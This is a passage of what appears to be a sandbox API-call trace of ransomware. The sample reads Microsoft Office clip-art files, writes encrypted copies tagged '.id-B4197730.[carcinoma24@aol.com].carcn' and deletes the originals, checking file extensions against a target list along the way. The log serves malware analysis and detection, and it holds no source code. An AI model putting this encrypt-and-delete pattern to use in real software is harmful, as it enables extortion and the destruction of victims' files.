lpString2=".WMF") returned -1 [0281.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68 [0281.449] lstrlenW (lpString=".zip") returned 4 [0281.449] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0281.449] lstrlenW (lpString=".rar") returned 4 [0281.450] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0281.450] lstrlenW (lpString=".bz2") returned 4 [0281.450] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0281.450] lstrlenW (lpString=".7z") returned 3 [0281.450] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0281.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68 [0281.450] lstrlenW (lpString=".dbf") returned 4 [0281.450] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0281.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68 [0281.450] lstrlenW (lpString=".1cd") returned 4 [0281.450] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0281.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68 [0281.450] lstrlenW (lpString=".jpg") returned 4 [0281.450] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0281.459] GetFileSizeEx (in: hFile=0x4bc, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=4796) returned 1 [0281.460] CloseHandle (hObject=0x4bc) returned 1 [0281.460] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00428_.wmf")) returned 0x220 [0282.376] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00428_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0282.486] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00428_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0282.487] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0282.487] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0282.487] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00428_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0282.490] GetLastError () returned 0x0 [0282.490] ReadFile (in: hFile=0x544, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x12bc, lpOverlapped=0x0) returned 1 [0282.569] WriteFile (in: hFile=0x538, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0x12c0, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0x12c0, lpOverlapped=0x0) returned 1 [0282.571] ReadFile (in: hFile=0x544, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0282.571] WriteFile (in: hFile=0x538, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0282.571] SetEndOfFile (hFile=0x538) returned 1 [0282.571] CloseHandle (hObject=0x538) returned 1 [0282.572] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0282.572] SetEndOfFile (hFile=0x544) returned 1 [0282.590] CloseHandle (hObject=0x544) returned 1 [0282.590] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0282.592] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00428_.wmf")) returned 1 [0282.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68 [0282.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68 [0282.596] lstrlenW (lpString=".doc") returned 4 [0282.596] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0282.596] lstrlenW (lpString=".docx") returned 5 [0282.596] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0282.596] lstrlenW (lpString=".pdf") returned 4 [0282.597] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0282.597] lstrlenW (lpString=".xls") returned 4 [0282.597] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0282.597] lstrlenW (lpString=".xlsx") returned 5 [0282.597] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0282.597] lstrlenW (lpString=".ppt") returned 4 [0282.597] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0282.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68 [0282.597] lstrlenW (lpString=".zip") returned 4 [0282.597] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0282.597] lstrlenW (lpString=".rar") returned 4 [0282.597] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0282.597] lstrlenW (lpString=".bz2") returned 4 [0282.597] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0282.597] lstrlenW (lpString=".7z") returned 3 [0282.597] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0282.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68 [0282.597] lstrlenW (lpString=".dbf") returned 4 [0282.597] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0282.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68 [0282.598] lstrlenW (lpString=".1cd") returned 4 [0282.598] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0282.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68 [0282.598] lstrlenW (lpString=".jpg") returned 4 [0282.598] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0282.604] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=4634) returned 1 [0282.604] CloseHandle (hObject=0x530) returned 1 [0282.604] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01074_.wmf")) returned 0x220 [0282.604] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01074_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0282.607] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01074_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0282.607] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0282.607] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0282.608] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01074_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0282.612] GetLastError () returned 0x0 [0282.612] ReadFile (in: hFile=0x530, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x121a, lpOverlapped=0x0) returned 1 [0282.683] WriteFile (in: hFile=0x554, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0x1220, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0x1220, lpOverlapped=0x0) returned 1 [0283.037] ReadFile (in: hFile=0x530, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0283.037] WriteFile (in: hFile=0x554, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0283.037] SetEndOfFile (hFile=0x554) returned 1 [0283.037] CloseHandle (hObject=0x554) returned 1 [0283.037] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0283.037] SetEndOfFile (hFile=0x530) returned 1 [0283.040] CloseHandle (hObject=0x530) returned 1 [0283.041] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0283.041] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01074_.wmf")) returned 1 [0283.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68 [0283.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68 [0283.056] lstrlenW (lpString=".doc") returned 4 [0283.056] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0283.056] lstrlenW (lpString=".docx") returned 5 [0283.056] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0283.056] lstrlenW (lpString=".pdf") returned 4 [0283.056] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0283.056] lstrlenW (lpString=".xls") returned 4 [0283.056] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0283.056] lstrlenW (lpString=".xlsx") returned 5 [0283.056] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0283.056] lstrlenW (lpString=".ppt") returned 4 [0283.056] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0283.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68 [0283.056] lstrlenW (lpString=".zip") returned 4 [0283.056] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0283.056] lstrlenW (lpString=".rar") returned 4 [0283.056] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0283.056] lstrlenW (lpString=".bz2") returned 4 [0283.056] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0283.056] lstrlenW (lpString=".7z") returned 3 [0283.056] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0283.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68 [0283.057] lstrlenW (lpString=".dbf") returned 4 [0283.057] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0283.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68 [0283.057] lstrlenW (lpString=".1cd") returned 4 [0283.057] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0283.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68 [0283.057] lstrlenW (lpString=".jpg") returned 4 [0283.057] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0283.057] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=1160) returned 1 [0283.058] CloseHandle (hObject=0x530) returned 1 [0283.058] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01193_.wmf")) returned 0x220 [0283.058] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01193_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0283.058] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01193_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0283.059] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0283.059] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0283.059] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01193_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0283.059] GetLastError () returned 0x0 [0283.059] ReadFile (in: hFile=0x530, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x488, lpOverlapped=0x0) returned 1 [0283.067] WriteFile (in: hFile=0x554, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0x490, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0x490, lpOverlapped=0x0) returned 1 [0283.068] ReadFile (in: hFile=0x530, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0283.068] WriteFile (in: hFile=0x554, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0283.068] SetEndOfFile (hFile=0x554) returned 1 [0283.069] CloseHandle (hObject=0x554) returned 1 [0283.069] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0283.069] SetEndOfFile (hFile=0x530) returned 1 [0283.072] CloseHandle (hObject=0x530) returned 1 [0283.072] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0283.079] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01193_.wmf")) returned 1 [0283.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68 [0283.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68 [0283.081] lstrlenW (lpString=".doc") returned 4 [0283.081] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0283.081] lstrlenW (lpString=".docx") returned 5 [0283.082] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0283.082] lstrlenW (lpString=".pdf") returned 4 [0283.082] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0283.082] lstrlenW (lpString=".xls") returned 4 [0283.082] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0283.082] lstrlenW (lpString=".xlsx") returned 5 [0283.082] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0283.082] lstrlenW (lpString=".ppt") returned 4 [0283.082] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0283.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68 [0283.082] lstrlenW (lpString=".zip") returned 4 [0283.082] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0283.082] lstrlenW (lpString=".rar") returned 4 [0283.082] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0283.082] lstrlenW (lpString=".bz2") returned 4 [0283.082] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0283.082] lstrlenW (lpString=".7z") returned 3 [0283.082] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0283.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68 [0283.082] lstrlenW (lpString=".dbf") returned 4 [0283.082] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0283.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68 [0283.082] lstrlenW (lpString=".1cd") returned 4 [0283.083] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0283.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68 [0283.083] lstrlenW (lpString=".jpg") returned 4 [0283.083] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0283.083] GetFileSizeEx (in: hFile=0x524, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=2332) returned 1 [0283.083] CloseHandle (hObject=0x524) returned 1 [0283.083] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01196_.wmf")) returned 0x220 [0283.084] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01196_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0283.084] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01196_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524 [0283.084] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0283.085] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0283.085] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01196_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8 [0283.086] GetLastError () returned 0x0 [0283.086] ReadFile (in: hFile=0x524, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x91c, lpOverlapped=0x0) returned 1 [0283.145] WriteFile (in: hFile=0x4a8, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0x920, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0x920, lpOverlapped=0x0) returned 1 [0283.146] ReadFile (in: hFile=0x524, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0283.146] WriteFile (in: hFile=0x4a8, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0283.146] SetEndOfFile (hFile=0x4a8) returned 1 [0283.147] CloseHandle (hObject=0x4a8) returned 1 [0283.147] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0283.147] SetEndOfFile (hFile=0x524) returned 1 [0283.150] CloseHandle (hObject=0x524) returned 1 [0283.150] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0283.151] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01196_.wmf")) returned 1 [0283.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68 [0283.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68 [0283.152] lstrlenW (lpString=".doc") returned 4 [0283.152] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0283.152] lstrlenW (lpString=".docx") returned 5 [0283.152] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0283.152] lstrlenW (lpString=".pdf") returned 4 [0283.152] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0283.152] lstrlenW (lpString=".xls") returned 4 [0283.152] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0283.152] lstrlenW (lpString=".xlsx") returned 5 [0283.152] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0283.152] lstrlenW (lpString=".ppt") returned 4 [0283.152] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0283.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68 [0283.153] lstrlenW (lpString=".zip") returned 4 [0283.153] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0283.153] lstrlenW (lpString=".rar") returned 4 [0283.153] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0283.153] lstrlenW (lpString=".bz2") returned 4 [0283.153] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0283.153] lstrlenW (lpString=".7z") returned 3 [0283.153] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0283.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68 [0283.153] lstrlenW (lpString=".dbf") returned 4 [0283.153] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0283.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68 [0283.153] lstrlenW (lpString=".1cd") returned 4 [0283.153] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0283.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68 [0283.153] lstrlenW (lpString=".jpg") returned 4 [0283.153] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0283.154] GetFileSizeEx (in: hFile=0x524, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=17924) returned 1 [0283.154] CloseHandle (hObject=0x524) returned 1 [0283.154] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01658_.wmf")) returned 0x220 [0283.154] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01658_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0283.155] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01658_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524 [0283.156] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0283.156] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) 